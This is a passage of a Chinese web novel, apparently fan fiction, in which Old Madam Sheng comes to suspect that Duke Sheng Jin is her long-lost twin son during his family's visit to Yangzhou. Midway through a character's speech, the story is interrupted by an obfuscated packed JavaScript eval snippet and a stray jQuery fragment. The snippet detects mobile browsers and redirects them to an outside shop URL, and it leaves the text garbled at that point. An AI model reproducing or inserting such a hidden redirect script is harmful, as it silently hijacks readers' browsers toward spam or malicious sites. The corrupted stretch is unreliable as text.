四房太太微微一笑,道:“你平日里注意些便是了,不过大嫂嫂可不稀罕什么爵位啊!她既有县主的身份,又有两个哥儿和国公爷当依靠,手中还有大笔银钱伴身,果然,古人说的话是对的,这靠人还不如靠己呢。” 四房太太说到这里,眼中闪过一丝落寞,道:“说起来,这五弟妹的日子也不算难过,至少五弟弟不会和我家这位一般花天酒地、流连烟花场所,还将妾侍和庶子宠的无法无天。” 四房太太的心腹眼中流露出心疼,道:“大娘子,无论是当初的老侯爷夫妇,还是现在的侯爷夫妇都是站在你这边的,主君他不敢真的乱来。” 四房太太闻言,眼中闪过一丝嘲讽,道:“公公婆婆虽然站在我这边,但那好歹是他们的亲生儿子,怎么可能为了我一个无子的继室管教他呢,要不然前头那位也不会被气死了,公公婆婆都管教不了自己的儿子,还能指望大哥哥大嫂嫂去插手自己弟弟的房中之事嘛,简直可笑至极了,不过好在公公婆婆离世前为了煊哥儿将家产做了安排,要不然我现在还能握着他的家产嘛,就这样每年还要提供一半收益供他花销呢。” 四房太太说到这里,停顿了好一会儿,叹了口气道:“好在煊哥儿不像他爹,是个上进懂事的孩子,况且煊哥儿夫妇平日里对我也十分敬重,好好待着他们,未来我的荧姐儿也能有个依靠。” 一旁四房太太的心腹也没有再说什么,宁远侯府另一边顾廷煜的院中,他正在房里和邵氏一同下棋了,下人传来五房那边闹出动静的消息后,顾廷煜淡淡的说道:“知道了,你先下去吧。” 邵氏看着顾廷煜一脸好奇的表情,顾廷煜笑着说:“这件事情与我们无关,五婶婶再怎么闹,五叔父也不会为了她的小心思来找母亲或父亲说情,让他管理侯府事务事务,就算五叔父和父亲母亲说了,母亲也不会同意的,而父亲在家中事务这一块都是尊重母亲的意见的。” 顾廷煜顿了顿,叹了口气道:“至于五婶婶,她这个人不敢真和母亲闹起来,自从母亲戳破她干的那些事情后,五叔父对着我们这一房有些愧疚,对五婶婶多有厌烦,五婶婶也因为这个原因与母亲之间的关系处于井水不犯河水的状态,再说盛家舅舅如今位列正一品少师,又是汴州城内出了名的疼爱母亲,为了自己的娘家着想,五婶婶也不敢真对母亲做什么,要不然她也不会去闹五叔父,让五叔父出面了。” 邵氏本来好奇到底是什么事情,让顾家五老爷心生愧疚,可看着顾廷煜脸上有些复杂的神色,直觉告诉她还是不要问的好,她又不是傻子,自己夫君才是最重要的,便转移话题道:“其实母亲人很好的,我这过门才没多久,便免了我的每日请安,我只是不明白为什么五婶婶执意要插手府中事务呢。” 顾廷煜听到邵氏提起白滢婷,心里不由的泛起了一丝愧疚,小时候的他或许不能理解为什么白滢婷突然之间与顾偃开疏远了,但长大后的他已经可以理解这件事了,明白了一切之后的他,有时候不知道怎么面对白滢婷,毕竟当时的事情,他虽然年幼不知情,但也是造成白滢婷难产的重要因素之一,即使白滢婷现在待他仍然很好,可是他总觉得他们之间有了一处裂痕,那是如何都修复不回来了,对此他也不好强求什么,只是每每想起都自觉惋惜。 顾廷煜看着眼前有些榆 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顾廷煜眼中闪过一丝嘲讽,道:“她不找你帮忙,你就谢天谢地了,哪还能来帮你呢,以后远着点她,小心着了她的道,至于四婶婶,那是个聪明人,你平日里倒是可以和她或是煊堂嫂嫂(顾廷煊的妻子)聊聊天,或是找三妹妹聊聊天(顾廷烟),她和邱小娘都是个知道分寸的,要不然这次母亲也不会让她参与管家。” 顾廷煜顿了顿,语气中带着一丝不屑,道:“五婶婶没有四婶婶看得清,四叔父五叔父少时靠父母,老时靠兄长,已经过惯了这种靠别人的生活了,父亲是愿意无条件照拂他们,但侄子们可没有父亲那般与叔父们亲近,更何况是堂兄弟呢,就这样,五婶婶还敢如此宠着炀堂哥,真是不知所谓啊!先前找的好几个夫子都被炀堂哥和五婶婶给气走了,哪还有人赶着上门教他们读书习字、考取功名,夫子又不是非要教武将之家的孩子,如今炀堂哥倒像是四叔父亲生的一般,他那院子中但凡好看点的丫鬟估计都破了身吧,还有四叔父,我是真不知道他到底是真疼爱炳堂弟,还是拿炳堂弟来碍煊堂哥的眼,居然也纵容刘小娘和炳堂弟胡作非为,气走了好几个夫子。” 顾廷煜说到这里,看着眼前目瞪口呆的邵氏,心想:“邵氏虽然不聪明,但胜在心里最重要的是我,其他的日常多指点些吧,左右我这身子也是耽误她了。” 邵氏属实是被顾廷煜的话给惊到了,她没想到顾廷煜会在她面前议论长辈,过了好一会儿,她才反应过来,对着顾廷煜道:“我听官人的,以后离五婶婶远些。” 顾廷煜见邵氏这么说,嘴角微微弯起,道:“这些都不是什么大事,来我们接着下棋吧。”紧接着顾廷煜又和邵氏下起了棋。 没过多久盛瑾一行人和白滢婷她们都收拾妥当,准备启程去扬州城了,于是他们登上了船,接着船在顾廷煜夫妇和四房太太目光中渐行渐远直至消失后,四房太太才对顾廷煜夫妇说道:“我们也回去吧。”此时在船上的盛瑾一行人谁也没有想到,这次的扬州城之旅会找到盛瑾的亲人,而盛瑾也发现了这个世界的秘密。 盛瑾和白老爷白滢婷看着沿途美不胜收的风景,心情好了许多,这一路上最开心的莫过于顾廷炜了,十四岁的少年了,还和一个孩童般一直在船上跑来跑去的,盛瑾看他兴致高涨,也不想打扰他的兴致,让下人看着顾廷炜一点。 过了一个月,盛瑾一行人已经来到了扬州城里,白家的下人提前到达这里等待盛瑾一行人,白家下人接到盛瑾和白老爷白滢婷后,盛瑾一行人随着白家下人一同回到了白家。 在白家里,顾廷烨和顾廷炜一同四处看看这座府邸,盛瑾不经感慨道:“年轻人的精力就是旺盛啊!”随后盛瑾和白老爷白滢婷则回到各自的房间休息了。 第二天,整个扬州城都知道白老爷白滢婷和盛瑾都回到了白家,连带着两个侯府嫡子也一起回来了,其中一个还是举人,整个扬州城都沸腾起来了。 一时之间,扬州城里有头有脸的人家都递了拜帖到白家里,盛瑾和白老爷看着这堆成小山一般的拜帖,又看向一旁偷着笑的白滢婷,他们无奈的摇着头。 白老爷的视线从白滢婷身上回到了盛瑾身上,看着盛瑾一脸拒绝的表情,他不由得笑出了声。 白老爷了解自己这个义子有多懒得和人应酬,在汴州城时,就不喜这些虚伪的客道,整日不是上朝办公就是躲在府里,要么就带着孩子们出门游玩,满汴州城的人都知道盛国公性子淡泊、喜静,可谁又知道这位盛国公只是单纯的懒得应付他人。 白老爷见盛瑾一脸无奈的看着他后,便止住了笑声,然后从桌子上小山似的拜帖里抽出了一张拜帖,对盛瑾道:“这张拜帖是扬州通判的,说来也巧,这个扬州通判同你一样也姓盛,说起这个扬州通判也是我们离开后才来到扬州就任的,我对他不太了解,管家你来给我和瑾儿、婷儿讲讲这个人吧。” 盛瑾心里翻白眼,吐槽道:“这姓盛的满世界多的是,难不成还能和我是一家。”随后他又反思了一下自己,自从自己养孩子后,可真是越来越爱吐槽了,不会真像古人说的一般,变成老小孩了吧。 白家管家看着盛瑾和白老爷,面带微笑,道:“国公爷,老爷,姑娘,说起这个盛通判,在扬州城内也是家喻户晓的人物了,这位盛通判官当得不错,为人圆滑,左右逢源,谁也不得罪,但是他的内宅可不安宁,扬州城大户人家都知道他对他的妾侍林小娘颇为宠爱,给林小娘置办田产铺子,让林小娘的日子过的比正妻还要体面,可谓是有点宠妾灭妻的倾向了。” 白滢婷听到这里,不知想起了什么,冷笑道:“这可真是真爱啊!有本事就娶这位林小娘为妻啊!平白恶心人啊!又是一个道貌岸然的人,借着正妻娘家的实力,又给正妻脸色看,真是恶心啊!” 一旁的盛瑾也是面无表情的听着白滢婷的话,白老爷心里知道自己这对儿女,看不上那种有了妻子,又宠爱小妾的人,再加上这个时代大抵都是正妻为上,嫡系为尊,所以他也没觉得盛瑾和白滢婷的态度有什么问题。 白老爷想着盛瑾和白滢婷估计都不愿意见这位盛通判,果然盛瑾下一句就是“义父,明天我想带着婷儿一起去寺庙逛逛,您要不要一起去吗?” 白老爷知道盛瑾是为了带着白滢婷躲开这位盛通判的拜访,他眼中闪过一丝笑意,道:“瑾儿,你就和婷儿一起去吧,义父留下来招待这位盛通判吧,毕竟人家也是当地的官员,没得让人家扑个空吧。” 盛瑾看着白老爷,眼中闪过一丝无奈,语气中带着一丝调侃的意味,道:“义父,您何必顾及这些呢,您的女儿是候府夫人、端淑县主,您的义子是国公爷,谁也不会说什么的。” 白老爷嘴角微微弯起,道:“瞧瑾儿你说的,我没有想这些,只是不知道为什么,单纯的想见见这位盛通判,感觉这位盛通判会给我带来惊喜。” 盛瑾闻言,也没有反驳白老爷,只是笑道:“那好吧,您自己想见就见吧,我去问问炜儿和烨儿明天要不要一起去寺庙。”说完盛瑾和白老爷白滢婷就分开了,他去找了顾廷烨和顾廷炜,不出意料之外,顾廷烨和顾廷炜都想要陪盛瑾白滢婷一同去寺庙,于是盛瑾让下人准备好明天出行的马车后,便就回房间睡觉了。 第 33 章 清晨,天一亮,盛瑾与白滢婷就带着顾廷烨顾廷炜以及随行的白家下人一同坐马车去了扬州城内最有名的寺庙,而白老爷和管家则是在白家等待盛纮的到来。 此时的盛纮一大早就起来了,今日他请了假,为的是专门去拜访白老爷,主要还是冲着盛瑾去的,他转头向王若弗询问,道:“给白家的礼物准备好了吗?” 王若弗扁了扁嘴,对于盛纮的询问感到十分委屈,心想道:“难道在他心里这么点事情我这个大娘子还做不好了嘛。” 王若弗想到这里有些生气,语气中带着些许赌气的意味,道:“准备好了,拜访一个商贾之家,用得着这样吗?” 盛纮见王若弗这种态度,皱着眉头,忍不住对着王若弗训斥,道:“妇人之见,那白家岂是普通的商贾之家,那白老爷的女儿是顾侯夫人、端淑县主,最主要的还是他那义子,即是有封地的世袭国公,又是正一品少师,他对白老爷父女那是情深义重啊!” 盛纮说到这里,眼中闪过一丝羡慕,道:“白老爷那侯府嫡次子外孙,年少中举,即便是在勋爵贵胄人家,那也是凤毛麟角的人物,更何况盛国公的儿子盛长轩更是本朝最年轻的六元及第状元郎,即使现在自请去了边疆,依着陛下对盛国公的重视,这盛长轩迟早是要回来的。” 盛纮脸色变得十分严肃,道:“这位盛国公唯一的孩子可是在白老爷膝下长大,丰国公府两代继承人对白老爷的感情十分深厚,因此对待白老爷,我们要慎重。” 王若弗还有些不服气,在她心里还是有些看不起商贾的,但是她也知道白老爷不是普通的商贾,因此也没有反驳自己的官人的话,最主要是刚刚她是因为盛纮的质疑生气迁怒的白老爷。 盛纮看到王若弗闭了嘴后,拂袖而去,径直出了门,上了备好的马车朝白家行驶而去,留下王若弗一人在原地不知所措,此时的他还不知道,再过不久,他口中的盛国公将会成为他的亲哥哥。 等盛纮走后,王若弗一人回到房间里痛哭了起来,道:“他还有脸说我呢,同样是姓盛的,人家盛国公对国公夫人专情之至,他呢,宠妾灭妻,就连他口中的白老爷不也守了前头大娘子一辈子嘛,他还好意思说我。” 刘妈妈只能在一旁安慰着王若弗,毕竟王大娘子因为一些事情被夺了管家之权后,心里难受,随即又让人去找盛华兰过来安慰王若弗。 刘妈妈知道自家大娘子这脾气有些暴,心想:“今天这事确实也是大娘子的不是,大娘子不应该和主君这么说白家的,这若是传出去,让那盛国公和端淑县主知道了,那对盛家可是不利啊!这天下谁不知道盛国公最护短啊!” 等盛华兰来了后,王若弗抱着盛华兰哭道:“我的命怎么这么苦啊!林噙霜那个贱人,还有老太太,若不是她按着我喝了那贱人的妾氏茶,哪来的这么多事情啊!” 盛华兰无法随着王若弗骂盛老太太,毕竟她已长大了,也知道这件事情怪不了盛老太太,毕竟当时的情况,若是不让林噙霜进门,这盛家的名声就全完了,但一边是自己的亲生母亲,一边是扶养自己长大的祖母,自己实在是不好说什么啊!只能不断的安抚王若弗,听她唠叨,而此时的盛瑾一行人已经来到了寺庙。 盛瑾看着陡峭的石梯与一旁的风景,心情不由的愉快了起来,一边走上楼梯,一边四处观望着风景,还与白滢婷闲聊起一些其他话题,全然没有注意到有一位老太太看到他的惊讶,然后那位老太太叫来了一旁的随从的老妇人,只见那位老妇人一眼看过去也是满脸的惊讶,直到盛瑾离开 ,两个老太太都没有反应过来。 过了许久,两位老妇人回到了寺庙的客房内,久久不能回神,而这两位老妇人中的一位是盛纮的嫡母盛老太太,另一位则是盛老太太的心腹房嬷嬷,只见盛老太太喃喃道:“太像了,实在是太像了。” 房嬷嬷知道自家老太太说的是谁,那是盛纮的父亲,盛瑾长的和盛纮的父亲有九成像,剩下的一成与自家老太太有些相似,想到这里,房嬷嬷突然想到了盛老太太逝世的儿子,那时的盛家人一致认为这是最像盛纮父亲的孩子,如果那个孩子还活着的话,应该也是现在这个年龄了吧。 房嬷嬷想到这里时,脑海中闪过盛瑾身旁白滢婷的身影仿佛在哪里见过一般,突然,她的脑海中出现了十几年前汴州城玉清观慕卿云白滢婷以及两个孩子的画面,如果说单单是盛瑾长得像是盛纮的父亲,她还能说是巧合,但若是联系上十几年前见过的那个孩子,这恐怕不能用巧合来解释了。 房嬷嬷这么想着,脑海中闪过一个念头,可她立马又摇了摇头,心想:“不会的,当时老太太只生了哥儿这一个孩子的。”可她越是否定,心里越是烦躁,好像在告诉她,那个就是她家老太太的孩子,她此时此刻的脑子里充斥着盛老太太那日生孩子的场景,她感觉自己好像遗漏了什么线索。 房嬷嬷在刹那间想到了一件事情,那就是盛老太太生孩子时,她在外面明明听到了两声不同的声音,一声强一声弱,可稳婆和郎中抱出来的只有一个婴儿,现在想起来,那时候她虽然没有问,但郎中莫名其妙的多说了一句,孩子刚出生时第一声哭的比较强,慢慢会变弱的,当时的她只顾着盛老太太和孩子便没有把这件事情放在心上,可现在细细想起来属实是奇怪,为什么郎中要多嘴说一句呢,给人的感觉就像是为了掩盖什么事情,一件不想让他们知道的事情。 房嬷嬷越想越心惊,心想道:“当初老太太的肚子看起来是比常人大一点,但也没有像怀双生子那么大,可现在细细想起来当初的事情却处处透着古怪。”例如郎中第一次诊断的欲言欲止,而后听到的郎中喃喃自语了一句应该是没错的,以及之后郎中和稳婆一起接生时,她因为有些事情,所以房内只有老太太、郎中、稳婆三人,接生完后,稳婆带走了她带来的一个篮子,对篮子,那个篮子应该可以放下刚出生的婴儿。 房嬷嬷当时也没有细想,如今想起来心里一惊,她不知道应不应该告诉自家老太太自己的猜测,但又怕自家老太太空欢喜一场。 房嬷嬷欲言又止的看着盛老太太,盛老太太反应过来房嬷嬷有些不对劲,于是盛老太太开口说:“你有什么事情要和我说吗?” 房嬷嬷想了想盛老太太如今在盛家的日子,若是真的有个亲儿子,那就太好了,左右不过查一查当初的事情罢了。 房嬷嬷咬了咬牙,将当初盛老太太生产时的疑点以及她的猜想说了出来,盛老太太听完后,一下子激动起来,对房嬷嬷说:“你说的是真的吗?为什么当是没有告诉我吗?” 房嬷嬷对盛老太太说:“当时郎中并没有说老太太怀的是双生子,老奴以为自己听错了,也就没有多想,直到今天看到了这个人,老奴才反应过来哪里不对劲。” 盛老太太平静下来,心里想着:“如果这件事是真的,那么是意外呢,还是人为呢,如果是意外,那这一切都是误会,如果是人为,那么是谁干的。”她此时想到了自家那个曾经的宠妾,心情一下子沉下来了。 盛老太太冷静下来,对房嬷嬷说道:“派人给宥阳老家去信,让维大老爷去查这件事情,我要知道全部的真相,另外派人去查一下那个人是谁,我要知道他的身份和经历。” 盛老太太眼中闪过一丝狠厉,咬牙切齿的说道:“如果这件事是真的,而且是人为的话,我要知道是谁干的,我不会放过他的。” 房嬷嬷看着眼前的盛老太太,叹了口气,缓缓开口道:“老太太,不用派人去查那人的身份了,你很久以前见过他的儿子和大娘子,我也是通过他的儿子才得出的猜想,那时她们正和今天在他身边的姑娘一起逛汴州城的玉清观。” 房嬷嬷看着盛老太太的脸色渐渐出了惊讶的表情,缓缓道:“此人正是盛国公,刚刚看到的那位姑娘是宁远侯府大娘子,也就是陛下亲封的端淑县主。” 盛老太太的内心随着房嬷嬷的话久久不能平静,过了好一会儿,她眼中闪过一丝骄傲与落寞,脸上的表情似笑非笑,道:“盛瑾,陛下亲封的世袭国公,三元及第状元郎,如今位列正一品少师,他的独子盛长轩是本朝最年轻的六元及第状元郎,这样的门第和如今的盛家简直是天壤之别啊!” 无论是盛老太太还是房嬷嬷都觉得这样的人会需要一个从未抚育过他的家族嘛,过了好一会儿,盛老太太才回过神来,眼神中闪过一丝坚定,道:“至少,至少让我知道他到底是不是我儿吧,派人快马加鞭赶往宥阳老家,让维大老爷查清整件事情的来龙去脉后瞒下来,我现在只想知道全部的真相,另外你去准备好马车,我们提前回盛家。” 房嬷嬷闻言便出去派人办盛老太太吩咐的事情了,而在寺庙里的盛瑾无论如何也想不到逛个寺庙还能逛出个亲娘和庶出弟弟来。 至于在盛家的王若弗,她还在伤心着全然不知到自己的相公在不久的将来会多出一个二哥,自己未来也会在这个二哥的眼皮子底下生活。 盛华兰等着王若弗平静一些,看着王若弗泪流满面的样子,不由得想起自己刚刚一进门就看到王若弗在床上痛哭,嘴里骂则自己的父亲宠妾灭妻之类的话的场景,心里一阵无奈又心疼,上前抱住王若弗,轻声安抚道:“母亲,你别哭了,你哭的华儿心里一阵难受。” 王若弗看到自家大闺女自从过来后,就一直听自己唠叨苦水,随即转头紧紧的抱住自家闺女,但嘴里一直骂着盛纮和林噙霜,盛纮的爱妾林噙霜就是王若弗心里永远的一根刺,拔不掉,咽不下。 盛华兰眼看王若弗从刚刚只说一句盛老太太的不是,到现在要骂到盛老太太了,赶忙插嘴道:“母亲,这关祖母什么事情啊!” 盛华兰心想:这媳妇骂婆母可是大逆不道啊!她可以听母亲说一句祖母的不是,但不能任由母亲辱骂祖母。 王若弗刚要还嘴,盛华兰见状又开始掰开揉碎了和王若弗说道:“是,林小娘是祖母收留的,但是祖母本来就没有想过让林小娘当父亲的妾氏,这一切都是林小娘自己策划的,如今祖母对林小娘也是十分厌恶的,这些年见都不见她。” 随即盛华兰拉着王若弗的手安抚道:“母亲,我知道你是恨祖母压着你喝了林小娘的妾氏茶,但是母亲,祖母这都是为了盛家着想,如果你不让林小娘进盛家的门,那父亲未来的仕途和盛家的名誉就全毁了,这件事也不能怪祖母,祖母本来就只是父亲的嫡母,和父亲没有血缘关系,管多了平白惹人厌,要怪就怪父亲没有直系长辈管着,那怕是一个哥哥,父亲也不敢这样对祖母和母亲。” 盛华兰这句话说的有道理,盛氏一族只有一个人在官场,那就是盛纮,再加之盛纮这一脉只有他一个人,所以其他人不好管盛纮的私事,因此,只要盛纮明面上过得去,就不会有人去管,王若弗自是知道这些的,但她心里这个坎就是过不去。 盛华兰其实也怨自己的父亲对林噙霜过分宠爱,但是她没有办法,那是她的父亲,她做子女的也不能管父亲的房中之事。 只是盛华兰也没有想到自己就是随口一说,她爹爹就真的多了一个国公哥哥,而且是那种对道德要求十分高的人。 只能说盛纮未来的日子不会很好过了,因为按照盛瑾的道德标准,盛纮就是不及格,一个亲兄长,而且是位高权重的兄长,盛纮是不敢忤逆的,而盛纮那个宠妾的好日子也不多了。 另一边白家内,白老爷亲自出门迎接盛纮,在看到盛纮的第一眼时,白老爷心里涌出一阵莫名的熟悉感。 白老爷将这种熟悉感压下去,面色不改的说道:“盛通判能在百忙之中抽空来我白家拜访,我白家真是深感荣幸啊!” 盛纮听到白老爷这么说,心里一阵舒心,脸上笑容不改,道:“白老爷真是客气了,能被白老爷迎接也是盛某的荣幸啊!” 白老爷将盛纮迎进白家,两人坐下含蓄了好一会儿,盛纮从白老爷那里知道盛瑾一早就去了寺庙后,在白家待了一会儿,就失望的回去了,等盛纮走后,白老爷问白家管家道:“你有没有觉得这位盛通判是不是有些熟悉,好像在那见过。” 白家管家沉思了一会儿,恍然大悟,道:“是很熟悉,对了,老爷,老奴知道为什么会觉得十分熟悉了,盛通判和我们家的国公爷有几分相像。” 白老爷闻言也反应过来,缓缓开口道:“是,和瑾哥儿有几分相像,你说他和瑾哥儿会不会有什么关系吗?” 白家管家嘴角微微弯起,语气平缓,道:“老爷,国公爷家中乃至全族不就只有他和轩哥儿两人了嘛,怎么可能会有关系呢。” 白老爷听着白家管家的话,虽然他觉得白家管家的话在理,但心里还是泛起一丝异样,过了一会儿,他最终没有多想什么,微微点点头,道:“也对,我们回府吧。”随后白老爷和管家一同进府里了。 因为盛瑾与白老爷说他是一个孤儿,因此白老爷并不知道盛瑾还有亲人,因此当盛老太太找来时,白老爷是一片震惊的。 盛瑾带着两个外甥和一行人在寺庙里待了一会儿后,他估计盛纮应该离开白家了,就带着一行人回白家了,而盛瑾一行人离开了寺庙后,没多久盛老太太也离开了寺庙。 盛瑾一行人临近黄昏回到白家用膳时,白老爷脑海中又浮现出了盛纮的模样,随即瞅了几眼盛瑾,越看越觉得盛瑾和盛纮有几分相似之处。 盛瑾察觉到白老爷的目光,起初没有什么感觉,但是随着白老爷的目光越来越强烈,他被盯得起了鸡皮疙瘩,最后他实在是忍不住了,对白老爷用开玩笑似的语气,道:“义父,虽然我知道自己长的花容月貌,十分下饭,但是你也不能一直盯着我啊!儿子还要吃饭呢。” 一旁的白滢婷闻言噗嗤一声笑出声来,而白老爷则是不好意思的摸摸鼻子,底气不足的转移话题,道:“瑾儿你和孩子待在一起久了越来越不正经了。” 顾廷烨和顾廷炜闻言,齐刷刷抬起头,对着白老爷异口同声的讨伐,道:“外祖父,我才没有不正经呢。” 白老爷听着两个孩子的话,立刻用哄孩子的语气,道:“是,你们没有不正经,你们舅舅才不正经呢,外祖父错了,烨哥儿和炜哥儿就原谅外祖父吧。” 顾廷烨和顾廷炜听到白老爷这句话才满意的点点头,表示自己大人不记小人过,原谅外祖父了,而后埋头接着干饭,完美的诠释了什么叫做干饭不积极思想有问题的干饭人精神,毕竟他们今天在寺庙逛了许久,肚子属实是饿的不行了。 白老爷见两个孩子硒鼓了,心里的好奇心实在是压不住,对着盛瑾又试探性的问了一句“瑾哥儿,你还有没有什么亲戚啊!” 盛瑾对白老爷的问话也是一头雾水,但还是诚恳的回答道:“我没有什么亲戚,义父何出此言呢?” 白老爷眼中闪过一丝疑问,道:“其实也没什么事情的,只是今天与盛通判见面后,发觉他与你有些相像,又都姓盛,心里不由有些好奇,想着会不会与你有什么关系,便按耐不住好奇心问一句罢了。” 盛瑾眼中闪过一丝笑意,道:“义父,这个世界上长的相似,还姓氏一样的也是有的,没什么好奇怪的。” 白滢婷眼中闪过一丝怀念,语气中带着些许悲伤,道:“是啊!父亲,嫂嫂不也和哥哥有些相似嘛。” 白老爷听着白滢婷和盛瑾的话,觉得他们说的在理,便不再多说什么了,接着他们一家人安安静静的吃着晚饭,大家都把这件事抛出了脑海,之后盛瑾每每想起都在感慨自己义父的直觉真准啊!这个世界真他喵的小啊! 同一时间的盛家,盛纮语气中充满恭谨的询问盛老太太,道:“母亲,您先前说要在寺庙中带上些许时日,儿子没成想您会回来这么早,要不然儿子便到城门去接您了,是儿子考虑不周了。” 盛老太太看着盛纮和脸色不是很好的王若弗,眼神没有任何变化道:“我待了几日觉得无趣便回来了,而且我没有告知你们何时归来,你无需自责什么,现下时候也不早了,你们回去休息吧。” 盛纮听到盛老太太的话便离开了,而王若弗也紧随盛纮的脚步一起离开,盛老太太看着他们消失的背影,叹了口气道:“看来我不在的这段日子里,大娘子的日子也没多好受啊!” 房嬷嬷看着盛老太太,想起盛纮和王若弗离开前的表情,也知道盛老太太话中的意思,安抚道:“老太太,莫要想太多了,主君就算再怎么不喜欢大娘子,可礼数上还是不会乱来的。” 盛老太太眼中闪过一丝无奈,语气中带着一丝疲惫,道:“唉,居然将管家权交给林噙霜一个妾侍,也不知道他到底还要不要脸了,还好在扬州城,这要是在汴州城恐怕会落人口实啊!说到底我不是他的亲生母亲,不好管的太过了,罢了,只要他礼数上不出什么事情便好了。” 房嬷嬷看着眼前有些落寞的盛老太太,心里忍不住的心疼,道:”若盛国公真是老太太的儿子,那老太太的心里也能过的好些。”她不是说盛纮对盛老太太不尊敬,只是盛老太太需要心灵上的慰籍,这是盛纮所不能带给盛老太太的。 房嬷嬷在心里默默的想道:“主君到底不是老太太的亲生儿子,打不得骂不得,唉,只希望那盛国公真的是老太太的亲生儿子吧,这样老太太的腰杆子也能硬些。” 盛老太太思索片刻后,对着房嬷嬷道:“你明天给白家去封请帖,就说我邀请端淑县主后天来盛家坐坐。” 房嬷嬷闻言,便知道盛老太太的心思,随即下去派人明天到白家送请帖,不过,白滢婷在第二天接到请帖时,眼中闪过一丝疑惑,道:“我与这盛家老太太素未谋面,她为何邀请我去盛家呢?” 常嬷嬷看着白滢婷,道:“姑娘说的是啊!不过,这盛老太太既然邀请了,姑娘不好不去,毕竟她儿子是扬州城通判,还是要给些脸面的。” 白滢婷眉头微微一皱,过了一会儿,脸色回复平常,道:“你说的也是,通判在汴州城算不得什么,但在扬州城还是有些份量的,他家老太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8580094|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面子我还是要给些的,这样奶娘你去找管家打听打听这盛家人的具体情况,我们也不能什么都不知道便上门去。” 常嬷嬷闻言便下去找白家管家打听盛家的情况后,过了好一会儿,才回来将得到的情况告知了白滢婷。 白滢婷眼神中闪过一丝惊讶,道:“没想到这位盛老太太的出身如此高贵啊!勇毅侯府独女,又曾是在中宫养过。” 常嬷嬷脸上浮现出一丝慎重的神色,道:“姑娘,盛老太太的身份,无论是谁都要给她几分颜面的,虽说她和勇毅侯府现在的关系淡了,但到底是一家人,勇毅侯府那边也没出面说什么断绝关系之类的话,我们还是要郑重些才好。” 白滢婷面色淡然,语气平淡,道:“是该敬重些,就凭她能放下心中的芥蒂,扶养她那宠妾灭妻官人的庶子,这份心胸让人佩服啊!奶娘,你去让管家将准备给盛家的礼再厚上几分。” 常嬷嬷听完白滢婷的话后,便去找白家管家了,而此时在盛家的王若弗瞪大双眼看着刘妈妈,道:“你说什么,老太太居然要请端淑县主明日来家中做客。” 王若弗见刘妈妈微微点头,语气中带着一丝不可置信,道:“老太太与端淑县主素未谋面,依着老太太那性子,她能开口请人来盛家做客,我的天爷诶,今个太阳是打西边出来了嘛。” 王若弗说到这里,好似想到了什么一般,下意识的抓紧手帕,语气中透着一丝兴奋,道:“你说,这老太太不会是想着华儿的亲事吧,这宁远侯府嫡次子如今也十六七岁了,还有那嫡幼子也十四五岁了吧,最大的和华儿也才差了三四岁,虽说华儿还有几年才及笄,但现在考虑婚事也不算早。” 刘妈妈看着眼前越说越离谱、好似宁远侯府的嫡子已经成了她女婿的王若弗,不禁泼了盆冷水,道:“大娘子,我瞧着老太太不像是有那个意思,您莫要胡思乱想,若是明天做出什么让老太太不高兴的事情,平白无故惹老太太生厌。” 刘妈妈的话,王若弗还是听进去一点的,但是她仍然不死心,道:“就算老太太没有这个意思,但是端淑县主来家中怎么可能不见我们家的姑娘呢。” 刘妈妈见王若弗这么说,也不好再说什么了,只是心里默默祈祷,道:“希望明天大娘子说话时能注意点分寸吧。” 转眼间就到了白滢婷来到盛家的日子了,王若弗一大早就在门口,等白滢婷到后便将人带到了盛老太太的院子中,三人一起闲聊了起来。 盛老太太本就是高门大户出身,见识不凡,待人处事、举止礼仪更是不用说了,她若存了心思和白滢婷交好,自然是易如反掌的,而王若弗虽然平时脾气暴躁,但好歹是大户人家嫡女出身,待人处事上就是再差也差不到哪里去,因此,白滢婷与她们二人聊得很是舒坦,过了好一会儿,王若弗突然将话题转移到了孩子身上,又是夸白滢婷的两个儿子,又是说起自家的儿子女儿,话里话外都在暗示着让白滢婷看看自家姑娘们。 白滢婷看着盛老太太微微皱起又恢复原样的眉头,便知此事盛老太太并不知情,心里大抵知道这是王若弗自作主张。 白滢婷想起盛家大姑娘盛华兰的岁数,联系王若弗的话,不难猜出王若弗的想法,暗叹道:“王大娘子也是为自家姑娘打算啊!可惜,无论是我还是顾偃开暂时都不会给烨儿和炜儿寻亲事,不过,既然来了,见一见盛家姑娘们也无妨。” 白滢婷脸上浮现出一抹笑容,道:“盛老太太真是好福气啊!居然有四个孙女,听的我是羡慕不已啊!不如也让我见见家中的姑娘们,也好解解我这稀罕劲。” 王若弗听了这句话,脸上的笑容差点没挂住,她是想让白滢婷见见盛华兰,可没想让白滢婷见盛家所有的姑娘,她心里不由自主的想道:“那盛明兰还好,若是让盛墨兰在端淑县主面前得了脸,我不得气死啊!” 盛老太太瞥了眼王若弗,便知道王若弗在想些什么,但这件事情由不得王若弗再说什么,于是她语气淡淡的吩咐一旁的丫鬟,道:“去把姑娘们都请过来吧。” 一旁的丫鬟听到盛老太太的话后,便退出去传话了,过了好一会儿,她带着盛华兰、盛墨兰、盛如兰、盛明兰进来了。 白滢婷打量着盛家这四个姑娘,心里不禁感慨道:“盛家这些姑娘的相貌着实是不错啊!大的那个现下已经长开不少了,瞧着明媚秀美,小的也能瞧得出都是美人胚子。” 白滢婷这般想着,突然目光落在了最小的盛明兰身上,她看着盛明兰不由的出了神,下意识的伸手去抓了一下常嬷嬷的衣角。 常嬷嬷有些不明所以的看向白滢婷,随即发现白滢婷的不对劲,顺着白滢婷的目光看向了盛明兰,起初她还没什么感觉,但她看了一会儿后,心里不由得泛起一丝惊讶,道:“这小姑娘这么和轩哥儿小时候如此相似,不,比起轩哥儿,这个姑娘的样貌更偏向柔美,这长大后的相貌怕是和国公夫人十分相似啊!” 盛华兰带着盛家其他姑娘给白滢婷行礼后,发现白滢婷没有回话,而盛老太太和王若弗显然也看出白滢婷的不对劲。 